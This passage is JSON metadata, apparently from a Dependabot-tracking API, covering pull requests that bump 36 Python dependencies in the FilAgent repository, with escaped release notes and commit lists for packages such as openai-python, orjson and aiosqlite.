href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c!-- raw HTML omitted --\u003e\n\u003c/blockquote\u003e\n\u003cp\u003e... (truncated)\u003c/p\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/openai/openai-python/blob/main/CHANGELOG.md\"\u003eopenai's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e2.11.0 (2025-12-11)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.10.0...v2.11.0\"\u003ev2.10.0...v2.11.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt 5.2 (\u003ca href=\"https://github.com/openai/openai-python/commit/dd9b8e85cf91fe0d7470143fba10fe950ec740c4\"\u003edd9b8e8\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.10.0 (2025-12-10)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.9.0...v2.10.0\"\u003ev2.9.0...v2.10.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e make model required for the responses/compact endpoint (\u003ca href=\"https://github.com/openai/openai-python/commit/a12936b18cf19009d4e6d586c9b1958359636dbe\"\u003ea12936b\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003etypes:\u003c/strong\u003e allow pyright to infer TypedDict types within SequenceNotStr (\u003ca href=\"https://github.com/openai/openai-python/commit/8f0d23066c1edc38a6e9858b054dceaf92ae001b\"\u003e8f0d230\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eadd missing docstrings (\u003ca href=\"https://github.com/openai/openai-python/commit/f20a9a18a421ba69622c77ab539509d218e774eb\"\u003ef20a9a1\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e update docstring (\u003ca href=\"https://github.com/openai/openai-python/commit/9a993f2261b6524aa30b955e006c7ea89f086968\"\u003e9a993f2\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003e2.9.0 (2025-12-04)\u003c/h2\u003e\n\u003cp\u003eFull Changelog: \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.9.0\"\u003ev2.8.1...v2.9.0\u003c/a\u003e\u003c/p\u003e\n\u003ch3\u003eFeatures\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eapi:\u003c/strong\u003e gpt-5.1-codex-max and responses/compact (\u003ca href=\"https://github.com/openai/openai-python/commit/22f646e985b7c93782cf695edbe643844cae7017\"\u003e22f646e\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eBug Fixes\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003eclient:\u003c/strong\u003e avoid mutating user-provided response config object (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2700\"\u003e#2700\u003c/a\u003e) (\u003ca href=\"https://github.com/openai/openai-python/commit/e040d22c2df068e908f69dc6b892e7f8b3fe6e99\"\u003ee040d22\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eensure streams are always closed (\u003ca href=\"https://github.com/openai/openai-python/commit/0b1a27f08639d14dfe40bf80b48e2b8a1a51593c\"\u003e0b1a27f\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003estreaming:\u003c/strong\u003e correct indentation (\u003ca href=\"https://github.com/openai/openai-python/commit/575bbac13b3a57731a4e07b67636ae94463d43fa\"\u003e575bbac\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch3\u003eChores\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003e\u003cstrong\u003edeps:\u003c/strong\u003e mypy 1.18.1 has a regression, pin to 1.17 (\u003ca href=\"https://github.com/openai/openai-python/commit/22cd586dbd5484b47f625da55db697691116b22b\"\u003e22cd586\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003edocs:\u003c/strong\u003e use environment variables for authentication in code snippets (\u003ca href=\"https://github.com/openai/openai-python/commit/c2a3cd502bfb03f68f62f50aed15a40458c0996e\"\u003ec2a3cd5\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003cstrong\u003einternal:\u003c/strong\u003e codegen related update (\u003ca href=\"https://github.com/openai/openai-python/commit/307a0664383b9d1d4151bc1a05a78c4fdcdcc9b0\"\u003e307a066\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eupdate lockfile (\u003ca href=\"https://github.com/openai/openai-python/commit/b4109c5fcf971ccfb25b4bdaef0bf36999f9eca5\"\u003eb4109c5\u003c/a\u003e)\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/43e324ed7a8a8b6f0738254c59d732be2807a06f\"\u003e\u003ccode\u003e43e324e\u003c/code\u003e\u003c/a\u003e release: 2.11.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/752a293da54c72c248afee310fc7cc1324debc1d\"\u003e\u003ccode\u003e752a293\u003c/code\u003e\u003c/a\u003e feat(api): gpt 5.2\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/ef00216846515033e4cf73ab3227e91386d958ba\"\u003e\u003ccode\u003eef00216\u003c/code\u003e\u003c/a\u003e release: 2.10.0 (\u003ca href=\"https://redirect.github.com/openai/openai-python/issues/2767\"\u003e#2767\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/dc7602151b9042891ccd5042c7be3881337368e5\"\u003e\u003ccode\u003edc76021\u003c/code\u003e\u003c/a\u003e release: 2.9.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/f45b3c3bcd7d3d40898230b8d592408bb208268a\"\u003e\u003ccode\u003ef45b3c3\u003c/code\u003e\u003c/a\u003e fix bad merge\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/96b9e700cef2ea78d7fb37b9a469af5af152279b\"\u003e\u003ccode\u003e96b9e70\u003c/code\u003e\u003c/a\u003e manually readd\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/61841f4a18d5739ee84c9c6d1aba473e05bf1bc1\"\u003e\u003ccode\u003e61841f4\u003c/code\u003e\u003c/a\u003e fix import\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/1039d5637779e035263019a687b562d3ab5d2c1a\"\u003e\u003ccode\u003e1039d56\u003c/code\u003e\u003c/a\u003e feat(api): gpt-5.1-codex-max and responses/compact\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/bd988473f60e28c1ea13c9cc26d6e0b063df02b8\"\u003e\u003ccode\u003ebd98847\u003c/code\u003e\u003c/a\u003e chore(docs): use environment variables for authentication in code snippets\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/openai/openai-python/commit/abc2596652b23318b8b5e7388b7d66fc161f817f\"\u003e\u003ccode\u003eabc2596\u003c/code\u003e\u003c/a\u003e fix(streaming): correct indentation\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/openai/openai-python/compare/v2.8.1...v2.11.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `orjson` from 3.11.4 to 3.11.5\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/releases\"\u003eorjson's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/ijl/orjson/blob/master/CHANGELOG.md\"\u003eorjson's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e3.11.5 - 2025-12-06\u003c/h2\u003e\n\u003ch3\u003eChanged\u003c/h3\u003e\n\u003cul\u003e\n\u003cli\u003eShow simple error message instead of traceback when attempting to\nbuild on unsupported Python versions.\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/fb3eb1f729c7e7b019f780af5695722c99c7c695\"\u003e\u003ccode\u003efb3eb1f\u003c/code\u003e\u003c/a\u003e 3.11.5\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/52688e02c51c845cde24a46cd1011a6010d10eb8\"\u003e\u003ccode\u003e52688e0\u003c/code\u003e\u003c/a\u003e Record contributors in headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/dc083e87d5262e7dde3ba4b1d2a377b5b065a27c\"\u003e\u003ccode\u003edc083e8\u003c/code\u003e\u003c/a\u003e Further compatibility and build misc\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/ijl/orjson/commit/18f0186d47fbadd53c9db4e39a442d5b04225418\"\u003e\u003ccode\u003e18f0186\u003c/code\u003e\u003c/a\u003e Compatibility and build misc\u003c/li\u003e\n\u003cli\u003eSee full diff in \u003ca href=\"https://github.com/ijl/orjson/compare/3.11.4...3.11.5\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `prometheus-client` from 0.20.0 to 0.23.1\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/prometheus/client_python/releases\"\u003eprometheus-client's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.23.1\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003efix: use tuples instead of packaging Version by \u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003ch2\u003eNew Contributors\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/efiop\"\u003e\u003ccode\u003e@​efiop\u003c/code\u003e\u003c/a\u003e made their first contribution in \u003ca href=\"https://redirect.github.com/prometheus/client_python/pull/1136\"\u003eprometheus/client_python#1136\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003cp\u003e\u003cstrong\u003eFull Changelog\u003c/strong\u003e: \u003ca href=\"https://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\"\u003ehttps://github.com/prometheus/client_python/compare/v0.23.0...v0.23.1\u003c/a\u003e\u003c/p\u003e\n\u003ch2\u003ev0.23.0\u003c/h2\u003e\n\u003ch2\u003eWhat's Changed\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eUTF-8 Content Negotiation by \u003ca href=\"https://github.com/ywwg\"\u003e\u003ccode\u003e@​ywwg\u003c/code\u003e\u003c/a\u003e in \u003ca href=\"https://redirect.github.com/prometheu...\n\n_Description has been truncated_","html_url":"https://github.com/fil04331/FilAgent/pull/216","url":"https://dependabot.ecosyste.ms/api/v1/hosts/GitHub/repositories/fil04331%2FFilAgent/issues/216","packages_url":"https://dependabot.ecosyste.ms/api/v1/issues/216/packages"}},{"old_version":"0.2.90","new_version":"0.3.16","update_type":"minor","path":null,"pr_created_at":"2025-12-08T13:44:06.000Z","version_change":"0.2.90 → 0.3.16","issue":{"uuid":"3706467161","node_id":"PR_kwDOQJdjYc63ry9-","number":213,"state":"open","title":"chore(deps): Bump the python-minor group across 1 directory with 36 updates","user":"dependabot[bot]","labels":[],"assignees":[],"locked":false,"comments_count":3,"pull_request":true,"closed_at":null,"author_association":null,"state_reason":null,"created_at":"2025-12-08T13:44:06.000Z","updated_at":"2025-12-11T23:00:21.764Z","time_to_close":null,"merged_at":null,"merged_by":null,"closed_by":null,"dependency_metadata":{"prefix":"chore(deps): Bump","group_name":"python-minor","update_count":36,"packages":[{"name":"aiosqlite","old_version":"0.20.0","new_version":"0.21.0","repository_url":"https://github.com/omnilib/aiosqlite"},{"name":"anyio","old_version":"4.11.0","new_version":"4.12.0","repository_url":"https://github.com/agronholm/anyio"},{"name":"exceptiongroup","old_version":"1.3.0","new_version":"1.3.1","repository_url":"https://github.com/agronholm/exceptiongroup"},{"name":"fastapi","old_version":"0.121.2","new_version":"0.124.0","repository_url":"https://github.com/fastapi/fastapi"},{"name":"fsspec","old_version":"2025.10.0","new_version":"2025.12.0"},{"name":"gradio","old_version":"5.49.1","new_version":"5.50.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"gradio-client","old_version":"1.13.3","new_version":"1.14.0","repository_url":"https://github.com/gradio-app/gradio"},{"name":"huggingface-hub","old_version":"1.1.4","new_version":"1.2.1","repository_url":"https://github.com/huggingface/huggingface_hub"},{"name":"hypothesis","old_version":"6.148.1","new_version":"6.148.7","repository_url":"https://github.com/HypothesisWorks/hypothesis"},{"name":"llama-cpp-python","old_version":"0.2.90","new_version":"0.3.16","repository_url":"https://github.com/abetlen/llama-cpp-python"},{"name":"openai","old_version":"2.8.1","new_version":"2.9.0","repository_url":"https://github.com/openai/openai-python"},{"name":"orjson","old_version":"3.11.4","new_version":"3.11.5","repository_url":"https://github.com/ijl/orjson"},{"name":"prometheus-client","old_version":"0.20.0","new_version":"0.23.1","repository_url":"https://github.com/prometheus/client_python"},{"name":"pydantic","old_version":"2.11.10","new_version":"2.12.5","repository_url":"https://github.com/pydantic/pydantic"},{"name":"pydantic-core","old_version":"2.33.2","new_version":"2.41.5","repository_url":"https://github.com/pydantic/pydantic-core"},{"name":"pytest-subtests","old_version":"0.14.2","new_version":"0.15.0","repository_url":"https://github.com/pytest-dev/pytest-subtests"},{"name":"referencing","old_version":"0.36.2","new_version":"0.37.0","repository_url":"https://github.com/python-jsonschema/referencing"},{"name":"rpds-py","old_version":"0.29.0","new_version":"0.30.0","repository_url":"https://github.com/crate-py/rpds"},{"name":"ruff","old_version":"0.14.5","new_version":"0.14.8","repository_url":"https://github.com/astral-sh/ruff"},{"name":"starlette","old_version":"0.49.3","new_version":"0.50.0","repository_url":"https://github.com/Kludex/starlette"},{"name":"urllib3","old_version":"2.5.0","new_version":"2.6.0","repository_url":"https://github.com/urllib3/urllib3"},{"name":"werkzeug","old_version":"3.1.3","new_version":"3.1.4","repository_url":"https://github.com/pallets/werkzeug"},{"name":"bandit","old_version":"1.9.1","new_version":"1.9.2","repository_url":"https://github.com/PyCQA/bandit"},{"name":"black","old_version":"25.11.0","new_version":"25.12.0","repository_url":"https://github.com/psf/black"},{"name":"cfgv","old_version":"3.4.0","new_version":"3.5.0","repository_url":"https://github.com/asottile/cfgv"},{"name":"coverage","old_version":"7.12.0","new_version":"7.13.0"},{"name":"marshmallow","old_version":"4.1.0","new_version":"4.1.1","repository_url":"https://github.com/marshmallow-code/marshmallow"},{"name":"mypy","old_version":"1.18.2","new_version":"1.19.0","repository_url":"https://github.com/python/mypy"},{"name":"packageurl-python","old_version":"0.17.5","new_version":"0.17.6","repository_url":"https://github.com/package-url/packageurl-python"},{"name":"pip-audit","old_version":"2.9.0","new_version":"2.10.0","repository_url":"https://github.com/pypa/pip-audit"},{"name":"platformdirs","old_version":"4.5.0","new_version":"4.5.1","repository_url":"https://github.com/tox-dev/platformdirs"},{"name":"pylint","old_version":"4.0.3","new_version":"4.0.4","repository_url":"https://github.com/pylint-dev/pylint"},{"name":"pymdown-extensions","old_version":"10.17.1","new_version":"10.18","repository_url":"https://github.com/facelessuser/pymdown-extensions"},{"name":"pytest-asyncio","old_version":"0.24.0","new_version":"0.26.0","repository_url":"https://github.com/pytest-dev/pytest-asyncio"},{"name":"safety-schemas","old_version":"0.0.16","new_version":"0.0.17","repository_url":"https://github.com/pyupio/safety_schemas"},{"name":"stevedore","old_version":"5.5.0","new_version":"5.6.0"}],"path":null,"ecosystem":"pip"},"body":"Bumps the python-minor group with 36 updates in the / directory:\n\n| Package | From | To |\n| --- | --- | --- |\n| [aiosqlite](https://github.com/omnilib/aiosqlite) | `0.20.0` | `0.21.0` |\n| [anyio](https://github.com/agronholm/anyio) | `4.11.0` | `4.12.0` |\n| [exceptiongroup](https://github.com/agronholm/exceptiongroup) | `1.3.0` | `1.3.1` |\n| [fastapi](https://github.com/fastapi/fastapi) | `0.121.2` | `0.124.0` |\n| [fsspec[http]](https://github.com/fsspec/filesystem_spec) | `2025.10.0` | `2025.12.0` |\n| [gradio](https://github.com/gradio-app/gradio) | `5.49.1` | `5.50.0` |\n| [gradio-client](https://github.com/gradio-app/gradio) | `1.13.3` | `1.14.0` |\n| [huggingface-hub](https://github.com/huggingface/huggingface_hub) | `1.1.4` | `1.2.1` |\n| [hypothesis](https://github.com/HypothesisWorks/hypothesis) | `6.148.1` | `6.148.7` |\n| [llama-cpp-python](https://github.com/abetlen/llama-cpp-python) | `0.2.90` | `0.3.16` |\n| [openai](https://github.com/openai/openai-python) | `2.8.1` | `2.9.0` |\n| [orjson](https://github.com/ijl/orjson) | `3.11.4` | `3.11.5` |\n| [prometheus-client](https://github.com/prometheus/client_python) | `0.20.0` | `0.23.1` |\n| [pydantic](https://github.com/pydantic/pydantic) | `2.11.10` | `2.12.5` |\n| [pydantic-core](https://github.com/pydantic/pydantic-core) | `2.33.2` | `2.41.5` |\n| [pytest-subtests](https://github.com/pytest-dev/pytest-subtests) | `0.14.2` | `0.15.0` |\n| [referencing](https://github.com/python-jsonschema/referencing) | `0.36.2` | `0.37.0` |\n| [rpds-py](https://github.com/crate-py/rpds) | `0.29.0` | `0.30.0` |\n| [ruff](https://github.com/astral-sh/ruff) | `0.14.5` | `0.14.8` |\n| [starlette](https://github.com/Kludex/starlette) | `0.49.3` | `0.50.0` |\n| [urllib3](https://github.com/urllib3/urllib3) | `2.5.0` | `2.6.0` |\n| [werkzeug](https://github.com/pallets/werkzeug) | `3.1.3` | `3.1.4` |\n| [bandit](https://github.com/PyCQA/bandit) | `1.9.1` | `1.9.2` |\n| [black](https://github.com/psf/black) | `25.11.0` | `25.12.0` |\n| [cfgv](https://github.com/asottile/cfgv) | `3.4.0` | `3.5.0` |\n| [coverage[toml]](https://github.com/coveragepy/coveragepy) | `7.12.0` | `7.13.0` |\n| [marshmallow](https://github.com/marshmallow-code/marshmallow) | `4.1.0` | `4.1.1` |\n| [mypy](https://github.com/python/mypy) | `1.18.2` | `1.19.0` |\n| [packageurl-python](https://github.com/package-url/packageurl-python) | `0.17.5` | `0.17.6` |\n| [pip-audit](https://github.com/pypa/pip-audit) | `2.9.0` | `2.10.0` |\n| [platformdirs](https://github.com/tox-dev/platformdirs) | `4.5.0` | `4.5.1` |\n| [pylint](https://github.com/pylint-dev/pylint) | `4.0.3` | `4.0.4` |\n| [pymdown-extensions](https://github.com/facelessuser/pymdown-extensions) | `10.17.1` | `10.18` |\n| [pytest-asyncio](https://github.com/pytest-dev/pytest-asyncio) | `0.24.0` | `0.26.0` |\n| [safety-schemas](https://github.com/pyupio/safety_schemas) | `0.0.16` | `0.0.17` |\n| [stevedore](https://docs.openstack.org/stevedore) | `5.5.0` | `5.6.0` |\n\n\nUpdates `aiosqlite` from 0.20.0 to 0.21.0\n\u003cdetails\u003e\n\u003csummary\u003eChangelog\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/omnilib/aiosqlite/blob/main/CHANGELOG.md\"\u003eaiosqlite's changelog\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003ev0.21.0\u003c/h2\u003e\n\u003cp\u003eMaintenance release\u003c/p\u003e\n\u003cul\u003e\n\u003cli\u003eFix: close connection correctly when BaseException raised in connection (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/317\"\u003e#317\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eMetadata improvements\u003c/li\u003e\n\u003cli\u003eTested and supported on Python 3.13\u003c/li\u003e\n\u003cli\u003eDrop support for Python 3.8\u003c/li\u003e\n\u003cli\u003eDrop testing on PyPy\u003c/li\u003e\n\u003c/ul\u003e\n\u003cpre lang=\"text\"\u003e\u003ccode\u003e$ git shortlog -s v0.20.0...v0.21.0\n     6\tAmethyst Reese\n     1\tGabriel\n     1\tStanley Kudrow\n    11\tdependabot[bot]\n\u003c/code\u003e\u003c/pre\u003e\n\u003c/blockquote\u003e\n\u003c/details\u003e\n\u003cdetails\u003e\n\u003csummary\u003eCommits\u003c/summary\u003e\n\u003cul\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/82eb2d2b05c257e247acba561b2548cca7fa365a\"\u003e\u003ccode\u003e82eb2d2\u003c/code\u003e\u003c/a\u003e Version bump v0.21.0\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/3a6bd1f71fb238790f3bdd4637700cce14c4390a\"\u003e\u003ccode\u003e3a6bd1f\u003c/code\u003e\u003c/a\u003e Update copyright headers\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/ca481c66044e4229250b609874e0fbed805232b1\"\u003e\u003ccode\u003eca481c6\u003c/code\u003e\u003c/a\u003e Drop Python 3.8, set Python3.9 as the minimum version. (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/313\"\u003e#313\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/883695fc6d59c5fbdfd8f97a329f98356c39a2cd\"\u003e\u003ccode\u003e883695f\u003c/code\u003e\u003c/a\u003e fix: close connection thread properly if BaseException raised in connect step...\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/5391d28ac99cf7bde07ebd923f747d2142726206\"\u003e\u003ccode\u003e5391d28\u003c/code\u003e\u003c/a\u003e Bump mypy from 1.9.0 to 1.14.1 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/323\"\u003e#323\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c8194e89b45ef5b1b4c9a29d8bc1bccc19d4e149\"\u003e\u003ccode\u003ec8194e8\u003c/code\u003e\u003c/a\u003e Drop testing compat with pypy (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/326\"\u003e#326\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/c34bcdaf674eaa137339dbb38a3a476ad2a101d5\"\u003e\u003ccode\u003ec34bcda\u003c/code\u003e\u003c/a\u003e Bump sphinx from 7.2.6 to 8.1.3 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/324\"\u003e#324\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/a8a7084d2130063f459ffc622a6f3e7b3deb62ea\"\u003e\u003ccode\u003ea8a7084\u003c/code\u003e\u003c/a\u003e Bump flake8-bugbear from 24.2.6 to 24.12.12 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/321\"\u003e#321\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/8a95cd3843f8ccd40d2018cd88a7454fb94f8a57\"\u003e\u003ccode\u003e8a95cd3\u003c/code\u003e\u003c/a\u003e Testing improvements (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/320\"\u003e#320\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003e\u003ca href=\"https://github.com/omnilib/aiosqlite/commit/b5ddd856b7db08a4296088626350a493bbdd0b60\"\u003e\u003ccode\u003eb5ddd85\u003c/code\u003e\u003c/a\u003e Bump coverage[toml] from 7.4.4 to 7.6.10 (\u003ca href=\"https://redirect.github.com/omnilib/aiosqlite/issues/325\"\u003e#325\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdditional commits viewable in \u003ca href=\"https://github.com/omnilib/aiosqlite/compare/v0.20.0...v0.21.0\"\u003ecompare view\u003c/a\u003e\u003c/li\u003e\n\u003c/ul\u003e\n\u003c/details\u003e\n\u003cbr /\u003e\n\nUpdates `anyio` from 4.11.0 to 4.12.0\n\u003cdetails\u003e\n\u003csummary\u003eRelease notes\u003c/summary\u003e\n\u003cp\u003e\u003cem\u003eSourced from \u003ca href=\"https://github.com/agronholm/anyio/releases\"\u003eanyio's releases\u003c/a\u003e.\u003c/em\u003e\u003c/p\u003e\n\u003cblockquote\u003e\n\u003ch2\u003e4.12.0\u003c/h2\u003e\n\u003cul\u003e\n\u003cli\u003eAdded support for asyncio's \u003ca href=\"https://docs.python.org/3/library/asyncio-graph.html\"\u003etask call graphs\u003c/a\u003e on Python 3.14 and later when using AnyIO's task groups (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1025\"\u003e#1025\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded an asynchronous implementation of the \u003ccode\u003efunctools\u003c/code\u003e module (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1001\"\u003e#1001\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for \u003ccode\u003euvloop=True\u003c/code\u003e on Windows via the \u003ca href=\"https://github.com/Vizonex/Winloop\"\u003ewinloop\u003c/a\u003e implementation (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/960\"\u003e#960\u003c/a\u003e; PR by \u003ca href=\"https://github.com/Vizonex\"\u003e\u003ccode\u003e@​Vizonex\u003c/code\u003e\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded support for use as a context manager to \u003ccode\u003eanyio.lowlevel.RunVar\u003c/code\u003e (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1003\"\u003e#1003\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded \u003ccode\u003e__all__\u003c/code\u003e declarations to public submodules (\u003ccode\u003eanyio.lowlevel\u003c/code\u003e etc.) (\u003ca href=\"https://redirect.github.com/agronholm/anyio/pull/1009\"\u003e#1009\u003c/a\u003e)\u003c/li\u003e\n\u003cli\u003eAdded the 